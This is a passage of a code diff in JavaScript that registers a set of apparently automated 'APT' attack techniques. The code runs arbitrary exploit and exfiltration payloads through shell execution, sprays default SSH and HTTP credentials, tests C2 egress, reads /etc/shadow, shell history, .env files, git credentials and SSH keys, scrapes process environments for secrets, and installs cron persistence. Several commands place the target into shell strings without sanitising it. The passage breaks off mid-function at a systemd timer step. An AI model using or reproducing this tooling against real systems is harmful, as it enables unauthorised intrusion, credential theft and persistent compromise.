+            const url = params.target.startsWith('http') ? params.target : `https://${params.target}`;
+            const paths = params.depth === 'quick' ? ['/admin', '/login', '/api', '/dashboard']
+                : ['/admin', '/login', '/api', '/dashboard', '/wp-admin', '/phpmyadmin', '/cpanel', '/manager', '/console', '/swagger', '/graphql', '/health', '/metrics'];
+            const artifacts = [];
+            for (const path of paths) {
+                try {
+                    const probe = await httpProbe(`${url}${path}`, 2000);
+                    if (probe.status < 400)
+                        artifacts.push({ type: 'directory', data: `${path} (${probe.status})` });
+                }
+                catch { /* ignore */ }
+            }
+            return { success: artifacts.length > 0, output: { url, found: artifacts.length }, artifacts, nextTechniques: ['vuln_scan'], detectionRisk: 0.5, duration: Date.now() - start };
+        },
+    });
+    // Exploit Attempt - Real command execution
+    techniqueRegistry.register({
+        id: 'exploit_attempt',
+        name: 'Exploit Attempt',
+        category: 'exploitation',
+        phase: 'exploitation',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.2,
+        successBaseline: 0.4,
+        timeEstimate: 30000,
+        execute: async (params) => {
+            const start = Date.now();
+            const artifacts = [];
+            const ctx = params.context || {};
+            const payload = ctx['payload'];
+            if (payload) {
+                try {
+                    const { stdout, stderr } = await execAsync(payload, { timeout: params.timeout || 30000 });
+                    artifacts.push({ type: 'exploit_output', data: stdout.slice(0, 500) });
+                    if (stderr)
+                        artifacts.push({ type: 'exploit_stderr', data: stderr.slice(0, 200) });
+                    return { success: true, output: { target: params.target, executed: true }, artifacts, nextTechniques: ['privesc', 'persistence'], detectionRisk: 0.9, duration: Date.now() - start };
+                }
+                catch (e) {
+                    return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.8, duration: Date.now() - start };
+                }
+            }
+            try {
+                const url = params.target.startsWith('http') ? params.target : `https://${params.target}`;
+                const probe = await httpProbe(url, 5000);
+                artifacts.push({ type: 'target_status', data: `reachable, status ${probe.status}` });
+                return { success: true, output: { target: params.target, reachable: true }, artifacts, nextTechniques: ['privesc', 'persistence'], detectionRisk: 0.7, duration: Date.now() - start };
+            }
+            catch {
+                return { success: false, output: { target: params.target, reachable: false }, artifacts: [], nextTechniques: [], detectionRisk: 0.5, duration: Date.now() - start };
+            }
+        },
+    });
+    // Privilege Escalation - Real system commands
+    techniqueRegistry.register({
+        id: 'privesc',
+        name: 'Privilege Escalation',
+        category: 'post-exploitation',
+        phase: 'installation',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.3,
+        successBaseline: 0.5,
+        timeEstimate: 60000,
+        execute: async (params) => {
+            const start = Date.now();
+            const artifacts = [];
+            const ctx = params.context || {};
+            const command = ctx['command'];
+            if (command) {
+                try {
+                    const { stdout } = await execAsync(command, { timeout: params.timeout || 60000 });
+                    artifacts.push({ type: 'privesc_result', data: stdout.slice(0, 500) });
+                    return { success: true, output: { executed: true }, artifacts, nextTechniques: ['persistence', 'lateral_move'], detectionRisk: 0.8, duration: Date.now() - start };
+                }
+                catch (e) {
+                    return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.7, duration: Date.now() - start };
+                }
+            }
+            try {
+                const { stdout } = await execAsync('id; whoami; uname -a', { timeout: 5000 });
+                artifacts.push({ type: 'system_info', data: stdout.trim() });
+            }
+            catch { /* ignore */ }
+            return { success: artifacts.length > 0, output: { enumerated: true }, artifacts, nextTechniques: ['persistence'], detectionRisk: 0.6, duration: Date.now() - start };
+        },
+    });
+    // Persistence - Real persistence mechanisms
+    techniqueRegistry.register({
+        id: 'persistence',
+        name: 'Establish Persistence',
+        category: 'persistence',
+        phase: 'installation',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.25,
+        successBaseline: 0.6,
+        timeEstimate: 30000,
+        execute: async (params) => {
+            const start = Date.now();
+            const artifacts = [];
+            const ctx = params.context || {};
+            const mechanism = ctx['mechanism'];
+            const payload = ctx['payload'];
+            if (mechanism && payload) {
+                try {
+                    const { stdout } = await execAsync(payload, { timeout: params.timeout || 30000 });
+                    artifacts.push({ type: 'persistence', data: `${mechanism}: ${stdout.slice(0, 200)}` });
+                    return { success: true, output: { mechanism, established: true }, artifacts, nextTechniques: ['lateral_move', 'exfil'], detectionRisk: 0.9, duration: Date.now() - start };
+                }
+                catch (e) {
+                    return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.85, duration: Date.now() - start };
+                }
+            }
+            return { success: false, output: { error: 'No persistence mechanism specified' }, artifacts: [], nextTechniques: [], detectionRisk: 0.5, duration: Date.now() - start };
+        },
+    });
+    // Lateral Movement - Real network pivoting
+    techniqueRegistry.register({
+        id: 'lateral_move',
+        name: 'Lateral Movement',
+        category: 'lateral-movement',
+        phase: 'command-control',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.35,
+        successBaseline: 0.55,
+        timeEstimate: 45000,
+        execute: async (params) => {
+            const start = Date.now();
+            const artifacts = [];
+            const ctx = params.context || {};
+            const command = ctx['command'];
+            if (command) {
+                try {
+                    const { stdout } = await execAsync(command, { timeout: params.timeout || 45000 });
+                    artifacts.push({ type: 'lateral_result', data: stdout.slice(0, 500) });
+                    return { success: true, output: { target: params.target, pivoted: true }, artifacts, nextTechniques: ['exfil'], detectionRisk: 0.8, duration: Date.now() - start };
+                }
+                catch (e) {
+                    return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.75, duration: Date.now() - start };
+                }
+            }
+            try {
+                const { stdout } = await execAsync('arp -a 2>/dev/null || ip neigh 2>/dev/null', { timeout: 5000 });
+                artifacts.push({ type: 'network_hosts', data: stdout.slice(0, 500) });
+            }
+            catch { /* ignore */ }
+            return { success: artifacts.length > 0, output: { target: params.target, discovery: true }, artifacts, nextTechniques: ['exfil'], detectionRisk: 0.6, duration: Date.now() - start };
+        },
+    });
+    // Data Exfiltration - Real data transfer
+    techniqueRegistry.register({
+        id: 'exfil',
+        name: 'Data Exfiltration',
+        category: 'exfiltration',
+        phase: 'actions-on-objectives',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.3,
+        successBaseline: 0.7,
+        timeEstimate: 30000,
+        execute: async (params) => {
+            const start = Date.now();
+            const artifacts = [];
+            const ctx = params.context || {};
+            const command = ctx['command'];
+            const data = ctx['data'];
+            if (command) {
+                try {
+                    const { stdout } = await execAsync(command, { timeout: params.timeout || 30000 });
+                    artifacts.push({ type: 'exfil_result', data: stdout.slice(0, 500) });
+                    return { success: true, output: { exfiltrated: true, bytes: stdout.length }, artifacts, nextTechniques: [], detectionRisk: 0.95, duration: Date.now() - start };
+                }
+                catch (e) {
+                    return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.9, duration: Date.now() - start };
+                }
+            }
+            if (data) {
+                artifacts.push({ type: 'data_staged', data: `${data.length} bytes ready` });
+                return { success: true, output: { staged: true, size: data.length }, artifacts, nextTechniques: [], detectionRisk: 0.85, duration: Date.now() - start };
+            }
+            return { success: false, output: { error: 'No exfiltration command or data specified' }, artifacts: [], nextTechniques: [], detectionRisk: 0.5, duration: Date.now() - start };
+        },
+    });
+}
+// Extended APT Technique Registration
+function registerExtendedTechniques() {
+    // WHOIS/ASN Reconnaissance - Real queries
+    techniqueRegistry.register({
+        id: 'whois_recon',
+        name: 'WHOIS Reconnaissance',
+        category: 'recon',
+        phase: 'reconnaissance',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.95,
+        successBaseline: 0.9,
+        timeEstimate: 10000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const artifacts = [];
+            try {
+                const { stdout } = await execAsync(`whois ${target} 2>/dev/null | head -50`, { timeout: params.timeout || 10000 });
+                const lines = stdout.split('\n').filter(l => l.trim() && !l.startsWith('%') && !l.startsWith('#'));
+                for (const line of lines.slice(0, 15)) {
+                    const [key, ...val] = line.split(':');
+                    if (key && val.length > 0)
+                        artifacts.push({ type: 'whois', data: `${key.trim()}: ${val.join(':').trim()}` });
+                }
+                return { success: artifacts.length > 0, output: { target, records: artifacts.length }, artifacts, nextTechniques: ['dns_enum', 'asn_lookup'], detectionRisk: 0.05, duration: Date.now() - start };
+            }
+            catch (e) {
+                return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: ['dns_enum'], detectionRisk: 0.02, duration: Date.now() - start };
+            }
+        },
+    });
+    // ASN Lookup - Real BGP data
+    techniqueRegistry.register({
+        id: 'asn_lookup',
+        name: 'ASN Lookup',
+        category: 'recon',
+        phase: 'reconnaissance',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.95,
+        successBaseline: 0.85,
+        timeEstimate: 8000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const artifacts = [];
+            try {
+                // Resolve IP first
+                const ips = await dns.resolve4(target).catch(() => [target]);
+                const ip = ips[0] || target;
+                // Query Team Cymru ASN service
+                const reversed = ip.split('.').reverse().join('.');
+                try {
+                    const txt = await dns.resolveTxt(`${reversed}.origin.asn.cymru.com`);
+                    if (txt[0])
+                        artifacts.push({ type: 'asn', data: txt[0].join(' ') });
+                }
+                catch { /* ignore */ }
+                // Also try dig for more info
+                try {
+                    const { stdout } = await execAsync(`dig +short TXT ${reversed}.peer.asn.cymru.com 2>/dev/null`, { timeout: 5000 });
+                    if (stdout.trim())
+                        artifacts.push({ type: 'asn_peer', data: stdout.trim().replace(/"/g, '') });
+                }
+                catch { /* ignore */ }
+                return { success: artifacts.length > 0, output: { target, ip, asn_records: artifacts.length }, artifacts, nextTechniques: ['dns_enum', 'port_scan'], detectionRisk: 0.03, duration: Date.now() - start };
+            }
+            catch (e) {
+                return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.02, duration: Date.now() - start };
+            }
+        },
+    });
+    // SSL/TLS Analysis - Real certificate inspection
+    techniqueRegistry.register({
+        id: 'ssl_analysis',
+        name: 'SSL/TLS Analysis',
+        category: 'recon',
+        phase: 'reconnaissance',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.9,
+        successBaseline: 0.85,
+        timeEstimate: 15000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const artifacts = [];
+            try {
+                const { stdout } = await execAsync(`echo | openssl s_client -connect ${target}:443 -servername ${target} 2>/dev/null | openssl x509 -noout -text 2>/dev/null | head -40`, { timeout: params.timeout || 15000 });
+                const lines = stdout.split('\n');
+                for (const line of lines) {
+                    if (line.includes('Subject:'))
+                        artifacts.push({ type: 'cert_subject', data: line.trim() });
+                    if (line.includes('Issuer:'))
+                        artifacts.push({ type: 'cert_issuer', data: line.trim() });
+                    if (line.includes('Not Before:'))
+                        artifacts.push({ type: 'cert_valid_from', data: line.trim() });
+                    if (line.includes('Not After:'))
+                        artifacts.push({ type: 'cert_valid_to', data: line.trim() });
+                    if (line.includes('DNS:'))
+                        artifacts.push({ type: 'cert_san', data: line.trim() });
+                }
+                // Check cipher strength
+                try {
+                    const { stdout: ciphers } = await execAsync(`echo | openssl s_client -connect ${target}:443 2>/dev/null | grep -i cipher`, { timeout: 5000 });
+                    if (ciphers.trim())
+                        artifacts.push({ type: 'cipher', data: ciphers.trim() });
+                }
+                catch { /* ignore */ }
+                return { success: artifacts.length > 0, output: { target, cert_data: artifacts.length }, artifacts, nextTechniques: ['web_fingerprint', 'subdomain_enum'], detectionRisk: 0.1, duration: Date.now() - start };
+            }
+            catch (e) {
+                return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.05, duration: Date.now() - start };
+            }
+        },
+    });
+    // Full Port Scan - Real comprehensive scan
+    techniqueRegistry.register({
+        id: 'full_port_scan',
+        name: 'Full Port Scan',
+        category: 'scanning',
+        phase: 'weaponization',
+        prerequisites: [],
+        conflictsWith: ['port_scan'],
+        stealthRating: 0.2,
+        successBaseline: 0.95,
+        timeEstimate: 120000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const timeout = Math.min(params.timeout || 1500, 2000);
+            // Scan top 100 ports
+            const ports = [20, 21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723, 3306, 3389, 5432, 5900, 5901, 6379, 8080, 8443, 8888, 9000, 9090, 27017];
+            const artifacts = [];
+            const openPorts = [];
+            // Scan in parallel batches
+            const batchSize = 10;
+            for (let i = 0; i < ports.length; i += batchSize) {
+                const batch = ports.slice(i, i + batchSize);
+                const results = await Promise.all(batch.map(port => tcpConnect(target, port, timeout)));
+                results.forEach((result, idx) => {
+                    if (result.open) {
+                        const port = batch[idx];
+                        openPorts.push(port);
+                        artifacts.push({ type: 'open_port', data: `${port}${result.banner ? ` - ${result.banner}` : ''} (${result.latency}ms)` });
+                    }
+                });
+            }
+            return { success: true, output: { target, scanned: ports.length, open: openPorts }, artifacts, nextTechniques: openPorts.length > 0 ? ['service_enum', 'vuln_scan'] : [], detectionRisk: 0.7, duration: Date.now() - start };
+        },
+    });
+    // SSH Enumeration - Real SSH probing
+    techniqueRegistry.register({
+        id: 'ssh_enum',
+        name: 'SSH Enumeration',
+        category: 'enumeration',
+        phase: 'weaponization',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.6,
+        successBaseline: 0.8,
+        timeEstimate: 20000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const artifacts = [];
+            // Grab SSH banner
+            const result = await tcpConnect(target, 22, params.timeout || 5000);
+            if (result.open) {
+                artifacts.push({ type: 'ssh_port', data: 'open' });
+                if (result.banner) {
+                    artifacts.push({ type: 'ssh_banner', data: result.banner });
+                    // Parse version info
+                    const match = result.banner.match(/SSH-(\d+\.\d+)-(.+)/);
+                    if (match) {
+                        artifacts.push({ type: 'ssh_version', data: match[1] });
+                        artifacts.push({ type: 'ssh_software', data: match[2] });
+                    }
+                }
+                // Try to get supported algorithms
+                try {
+                    const { stdout } = await execAsync(`ssh -o BatchMode=yes -o ConnectTimeout=5 -o StrictHostKeyChecking=no -v ${target} 2>&1 | grep -E "(kex|cipher|mac)" | head -10`, { timeout: 10000 });
+                    if (stdout.trim()) {
+                        stdout.split('\n').slice(0, 5).forEach(line => {
+                            artifacts.push({ type: 'ssh_algo', data: line.trim() });
+                        });
+                    }
+                }
+                catch { /* ignore */ }
+            }
+            return { success: artifacts.length > 0, output: { target, ssh_data: artifacts.length }, artifacts, nextTechniques: ['credential_spray', 'exploit_attempt'], detectionRisk: 0.4, duration: Date.now() - start };
+        },
+    });
+    // SMB Enumeration - Real SMB probing
+    techniqueRegistry.register({
+        id: 'smb_enum',
+        name: 'SMB Enumeration',
+        category: 'enumeration',
+        phase: 'weaponization',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.5,
+        successBaseline: 0.7,
+        timeEstimate: 30000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const artifacts = [];
+            // Check SMB ports
+            for (const port of [445, 139]) {
+                const result = await tcpConnect(target, port, params.timeout || 3000);
+                if (result.open)
+                    artifacts.push({ type: 'smb_port', data: `${port} open` });
+            }
+            // Try smbclient if available
+            try {
+                const { stdout } = await execAsync(`smbclient -L //${target} -N 2>/dev/null | head -20`, { timeout: 15000 });
+                if (stdout.trim()) {
+                    stdout.split('\n').filter(l => l.trim()).slice(0, 10).forEach(line => {
+                        artifacts.push({ type: 'smb_share', data: line.trim() });
+                    });
+                }
+            }
+            catch { /* smbclient not available or failed */ }
+            // Try enum4linux if available
+            try {
+                const { stdout } = await execAsync(`enum4linux -a ${target} 2>/dev/null | head -30`, { timeout: 30000 });
+                if (stdout.trim()) {
+                    const interesting = stdout.split('\n').filter(l => l.includes('Domain') || l.includes('User') || l.includes('Share'));
+                    interesting.slice(0, 10).forEach(line => {
+                        artifacts.push({ type: 'smb_info', data: line.trim() });
+                    });
+                }
+            }
+            catch { /* enum4linux not available */ }
+            return { success: artifacts.length > 0, output: { target, smb_data: artifacts.length }, artifacts, nextTechniques: ['credential_spray', 'exploit_attempt'], detectionRisk: 0.5, duration: Date.now() - start };
+        },
+    });
+    // Credential Spraying - Real authentication testing
+    techniqueRegistry.register({
+        id: 'credential_spray',
+        name: 'Credential Spray',
+        category: 'exploitation',
+        phase: 'delivery',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.3,
+        successBaseline: 0.3,
+        timeEstimate: 60000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const artifacts = [];
+            const ctx = params.context || {};
+            const users = ctx['users'] || ['admin', 'root', 'administrator', 'user', 'test'];
+            const passwords = ctx['passwords'] || ['password', 'admin', '123456', 'Password1'];
+            // Try SSH with timeout (fail fast for security)
+            for (const user of users.slice(0, 3)) {
+                for (const pass of passwords.slice(0, 2)) {
+                    try {
+                        const { stdout } = await execAsync(`sshpass -p '${pass}' ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o BatchMode=no ${user}@${target} 'echo SUCCESS' 2>/dev/null`, { timeout: 5000 });
+                        if (stdout.includes('SUCCESS')) {
+                            artifacts.push({ type: 'valid_cred', data: `SSH ${user}:${pass.slice(0, 2)}***` });
+                        }
+                    }
+                    catch { /* expected failures */ }
+                }
+            }
+            // Try HTTP basic auth
+            const url = target.startsWith('http') ? target : `https://${target}`;
+            for (const user of users.slice(0, 2)) {
+                for (const pass of passwords.slice(0, 2)) {
+                    try {
+                        const auth = Buffer.from(`${user}:${pass}`).toString('base64');
+                        const { stdout } = await execAsync(`curl -s -o /dev/null -w '%{http_code}' -H 'Authorization: Basic ${auth}' '${url}' --connect-timeout 3`, { timeout: 5000 });
+                        if (stdout !== '401' && stdout !== '403') {
+                            artifacts.push({ type: 'http_auth', data: `${user}:*** -> HTTP ${stdout}` });
+                        }
+                    }
+                    catch { /* ignore */ }
+                }
+            }
+            return { success: artifacts.length > 0, output: { target, tested: users.length * passwords.length, found: artifacts.length }, artifacts, nextTechniques: artifacts.length > 0 ? ['exploit_attempt', 'privesc'] : [], detectionRisk: 0.8, duration: Date.now() - start };
+        },
+    });
+    // C2 Beacon - Real outbound connection test
+    techniqueRegistry.register({
+        id: 'c2_beacon',
+        name: 'C2 Beacon',
+        category: 'post-exploitation',
+        phase: 'command-control',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.4,
+        successBaseline: 0.6,
+        timeEstimate: 15000,
+        execute: async (params) => {
+            const start = Date.now();
+            const artifacts = [];
+            const ctx = params.context || {};
+            const c2Server = ctx['c2_server'];
+            const c2Port = ctx['c2_port'] || 443;
+            if (c2Server) {
+                // Test outbound connection
+                const result = await tcpConnect(c2Server, c2Port, params.timeout || 10000);
+                if (result.open) {
+                    artifacts.push({ type: 'c2_connection', data: `${c2Server}:${c2Port} reachable (${result.latency}ms)` });
+                    // Test DNS exfil capability
+                    try {
+                        const testDomain = `test.${c2Server}`;
+                        await dns.resolve4(testDomain);
+                        artifacts.push({ type: 'dns_exfil', data: 'DNS resolution to C2 domain working' });
+                    }
+                    catch { /* expected */ }
+                    // Test HTTP/HTTPS
+                    try {
+                        const probe = await httpProbe(`https://${c2Server}:${c2Port}`, 5000);
+                        artifacts.push({ type: 'c2_https', data: `HTTPS status ${probe.status}` });
+                    }
+                    catch {
+                        try {
+                            const probe = await httpProbe(`http://${c2Server}:${c2Port}`, 5000);
+                            artifacts.push({ type: 'c2_http', data: `HTTP status ${probe.status}` });
+                        }
+                        catch { /* ignore */ }
+                    }
+                }
+                return { success: artifacts.length > 0, output: { c2: c2Server, connected: result.open }, artifacts, nextTechniques: ['exfil', 'lateral_move'], detectionRisk: 0.7, duration: Date.now() - start };
+            }
+            // No C2 specified - test common egress
+            for (const port of [80, 443, 8080, 8443]) {
+                const result = await tcpConnect('1.1.1.1', port, 3000);
+                if (result.open)
+                    artifacts.push({ type: 'egress', data: `Port ${port} egress open` });
+            }
+            return { success: artifacts.length > 0, output: { egress_tested: true }, artifacts, nextTechniques: ['exfil'], detectionRisk: 0.3, duration: Date.now() - start };
+        },
+    });
+    // Network Discovery - Real ARP/route enumeration
+    techniqueRegistry.register({
+        id: 'network_discovery',
+        name: 'Network Discovery',
+        category: 'post-exploitation',
+        phase: 'command-control',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.5,
+        successBaseline: 0.85,
+        timeEstimate: 30000,
+        execute: async (params) => {
+            const start = Date.now();
+            const artifacts = [];
+            // Get local network info
+            try {
+                const { stdout } = await execAsync('hostname 2>/dev/null', { timeout: 3000 });
+                if (stdout.trim())
+                    artifacts.push({ type: 'hostname', data: stdout.trim() });
+            }
+            catch { /* ignore */ }
+            try {
+                const { stdout } = await execAsync('ip addr 2>/dev/null || ifconfig 2>/dev/null', { timeout: 5000 });
+                const ips = stdout.match(/\d+\.\d+\.\d+\.\d+/g);
+                if (ips)
+                    artifacts.push({ type: 'local_ips', data: [...new Set(ips)].join(', ') });
+            }
+            catch { /* ignore */ }
+            try {
+                const { stdout } = await execAsync('ip route 2>/dev/null || netstat -rn 2>/dev/null', { timeout: 5000 });
+                const lines = stdout.split('\n').filter(l => l.trim()).slice(0, 5);
+                lines.forEach(l => artifacts.push({ type: 'route', data: l.trim() }));
+            }
+            catch { /* ignore */ }
+            try {
+                const { stdout } = await execAsync('arp -a 2>/dev/null || ip neigh 2>/dev/null', { timeout: 5000 });
+                const hosts = stdout.match(/\d+\.\d+\.\d+\.\d+/g);
+                if (hosts)
+                    artifacts.push({ type: 'arp_hosts', data: [...new Set(hosts)].slice(0, 10).join(', ') });
+            }
+            catch { /* ignore */ }
+            try {
+                const { stdout } = await execAsync('cat /etc/resolv.conf 2>/dev/null', { timeout: 3000 });
+                const ns = stdout.match(/nameserver\s+(\d+\.\d+\.\d+\.\d+)/g);
+                if (ns)
+                    artifacts.push({ type: 'dns_servers', data: ns.join(', ') });
+            }
+            catch { /* ignore */ }
+            return { success: artifacts.length > 0, output: { discovered: artifacts.length }, artifacts, nextTechniques: ['lateral_move', 'port_scan'], detectionRisk: 0.4, duration: Date.now() - start };
+        },
+    });
+    // Process Enumeration - Real process listing
+    techniqueRegistry.register({
+        id: 'process_enum',
+        name: 'Process Enumeration',
+        category: 'post-exploitation',
+        phase: 'installation',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.7,
+        successBaseline: 0.95,
+        timeEstimate: 10000,
+        execute: async (params) => {
+            const start = Date.now();
+            const artifacts = [];
+            try {
+                const { stdout } = await execAsync('ps aux 2>/dev/null | head -30', { timeout: params.timeout || 10000 });
+                const lines = stdout.split('\n').filter(l => l.trim());
+                // Find interesting processes
+                const interesting = lines.filter(l => /root|admin|www|nginx|apache|mysql|postgres|docker|ssh|systemd/.test(l));
+                interesting.slice(0, 15).forEach(l => artifacts.push({ type: 'process', data: l.slice(0, 150) }));
+                // Also check for security tools
+                const security = lines.filter(l => /falcon|crowdstrike|defender|symantec|mcafee|sophos|kaspersky|edr|siem|splunk/i.test(l));
+                security.forEach(l => artifacts.push({ type: 'security_tool', data: l.slice(0, 100) }));
+            }
+            catch (e) {
+                return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.3, duration: Date.now() - start };
+            }
+            return { success: artifacts.length > 0, output: { processes: artifacts.length }, artifacts, nextTechniques: ['privesc', 'persistence'], detectionRisk: 0.3, duration: Date.now() - start };
+        },
+    });
+    // File Discovery - Real file system enumeration
+    techniqueRegistry.register({
+        id: 'file_discovery',
+        name: 'File Discovery',
+        category: 'post-exploitation',
+        phase: 'actions-on-objectives',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.6,
+        successBaseline: 0.9,
+        timeEstimate: 45000,
+        execute: async (params) => {
+            const start = Date.now();
+            const artifacts = [];
+            const depth = params.depth;
+            // Find sensitive files
+            const patterns = depth === 'quick'
+                ? ['*.conf', '*.key', '*.pem', '.env']
+                : ['*.conf', '*.key', '*.pem', '*.crt', '.env', '*.bak', '*.sql', 'id_rsa', '*.json', '*.xml'];
+            for (const pattern of patterns.slice(0, depth === 'deep' ? patterns.length : 5)) {
+                try {
+                    const { stdout } = await execAsync(`find /etc /home /var /opt -name '${pattern}' -type f 2>/dev/null | head -10`, { timeout: 15000 });
+                    stdout.split('\n').filter(l => l.trim()).forEach(f => artifacts.push({ type: 'sensitive_file', data: f.trim() }));
+                }
+                catch { /* ignore */ }
+            }
+            // Check for SSH keys
+            try {
+                const { stdout } = await execAsync('find /home -name "id_rsa" -o -name "id_ed25519" 2>/dev/null', { timeout: 10000 });
+                stdout.split('\n').filter(l => l.trim()).forEach(f => artifacts.push({ type: 'ssh_key', data: f.trim() }));
+            }
+            catch { /* ignore */ }
+            // Check for password files
+            try {
+                const { stdout } = await execAsync('find / -name "*password*" -type f 2>/dev/null | head -10', { timeout: 15000 });
+                stdout.split('\n').filter(l => l.trim()).slice(0, 5).forEach(f => artifacts.push({ type: 'password_file', data: f.trim() }));
+            }
+            catch { /* ignore */ }
+            return { success: artifacts.length > 0, output: { files_found: artifacts.length }, artifacts, nextTechniques: ['exfil', 'credential_harvest'], detectionRisk: 0.5, duration: Date.now() - start };
+        },
+    });
+    // Credential Harvesting - Real credential extraction
+    techniqueRegistry.register({
+        id: 'credential_harvest',
+        name: 'Credential Harvesting',
+        category: 'post-exploitation',
+        phase: 'actions-on-objectives',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.3,
+        successBaseline: 0.6,
+        timeEstimate: 30000,
+        execute: async (params) => {
+            const start = Date.now();
+            const artifacts = [];
+            // Check shadow file (needs root)
+            try {
+                const { stdout } = await execAsync('cat /etc/shadow 2>/dev/null | head -10', { timeout: 5000 });
+                if (stdout.trim() && !stdout.includes('Permission denied')) {
+                    artifacts.push({ type: 'shadow_access', data: 'readable - hashes available' });
+                    const hashes = stdout.split('\n').filter(l => l.includes('$')).length;
+                    if (hashes > 0)
+                        artifacts.push({ type: 'hash_count', data: `${hashes} password hashes` });
+                }
+            }
+            catch { /* no access */ }
+            // Check for bash history
+            try {
+                const { stdout } = await execAsync('cat ~/.bash_history /root/.bash_history 2>/dev/null | grep -i "pass\\|key\\|secret\\|token" | head -10', { timeout: 10000 });
+                if (stdout.trim())
+                    artifacts.push({ type: 'history_secrets', data: `${stdout.split('\n').length} potential credentials in history` });
+            }
+            catch { /* ignore */ }
+            // Check for env files
+            try {
+                const { stdout } = await execAsync('cat .env /var/www/*/.env /home/*/.env 2>/dev/null | grep -i "pass\\|key\\|secret\\|token" | head -10', { timeout: 10000 });
+                if (stdout.trim()) {
+                    const lines = stdout.split('\n').filter(l => l.trim());
+                    lines.slice(0, 5).forEach(l => artifacts.push({ type: 'env_secret', data: l.replace(/=.+/, '=***') }));
+                }
+            }
+            catch { /* ignore */ }
+            // Check for git credentials
+            try {
+                const { stdout } = await execAsync('cat ~/.git-credentials 2>/dev/null | head -5', { timeout: 5000 });
+                if (stdout.trim())
+                    artifacts.push({ type: 'git_creds', data: 'Git credentials found' });
+            }
+            catch { /* ignore */ }
+            return { success: artifacts.length > 0, output: { credentials_found: artifacts.length }, artifacts, nextTechniques: ['lateral_move', 'exfil'], detectionRisk: 0.7, duration: Date.now() - start };
+        },
+    });
+    // Memory Dump - Real process memory access
+    techniqueRegistry.register({
+        id: 'memory_dump',
+        name: 'Memory Dump',
+        category: 'post-exploitation',
+        phase: 'actions-on-objectives',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.2,
+        successBaseline: 0.5,
+        timeEstimate: 60000,
+        execute: async (params) => {
+            const start = Date.now();
+            const artifacts = [];
+            const ctx = params.context || {};
+            const pid = ctx['pid'];
+            if (pid) {
+                try {
+                    // Try to read process memory map
+                    const { stdout } = await execAsync(`cat /proc/${pid}/maps 2>/dev/null | head -20`, { timeout: 10000 });
+                    if (stdout.trim()) {
+                        artifacts.push({ type: 'memory_map', data: `Process ${pid} memory map obtained` });
+                        // Count memory regions
+                        const regions = stdout.split('\n').length;
+                        artifacts.push({ type: 'memory_regions', data: `${regions} memory regions` });
+                    }
+                }
+                catch (e) {
+                    return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.6, duration: Date.now() - start };
+                }
+            }
+            // Try to find strings in process memory
+            try {
+                const { stdout } = await execAsync('strings /proc/$(pgrep -o nginx || pgrep -o apache || pgrep -o ssh)/environ 2>/dev/null | head -20', { timeout: 15000 });
+                if (stdout.trim()) {
+                    const secrets = stdout.split('\n').filter(l => /pass|key|secret|token/i.test(l));
+                    secrets.slice(0, 5).forEach(s => artifacts.push({ type: 'memory_secret', data: s.replace(/=.+/, '=***') }));
+                }
+            }
+            catch { /* ignore */ }
+            return { success: artifacts.length > 0, output: { memory_data: artifacts.length }, artifacts, nextTechniques: ['credential_harvest', 'exfil'], detectionRisk: 0.8, duration: Date.now() - start };
+        },
+    });
+    // Scheduled Task Persistence - Real cron/systemd
+    techniqueRegistry.register({
+        id: 'sched_persist',
+        name: 'Scheduled Task Persistence',
+        category: 'persistence',
+        phase: 'installation',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.4,
+        successBaseline: 0.7,
+        timeEstimate: 20000,
+        execute: async (params) => {
+            const start = Date.now();
+            const artifacts = [];
+            const ctx = params.context || {};
+            const command = ctx['command'];
+            const schedule = ctx['schedule'] || '*/15 * * * *';
+            if (command) {
+                // Try to add cron job
+                try {
+                    const { stdout } = await execAsync(`(crontab -l 2>/dev/null; echo "${schedule} ${command}") | crontab -`, { timeout: 10000 });
+                    artifacts.push({ type: 'cron_persist', data: `Cron job added: ${schedule}` });
+                }
+                catch (e) {
+                    artifacts.push({ type: 'cron_failed', data: e.message });
+                }
+                // Try systemd timer
+                try {
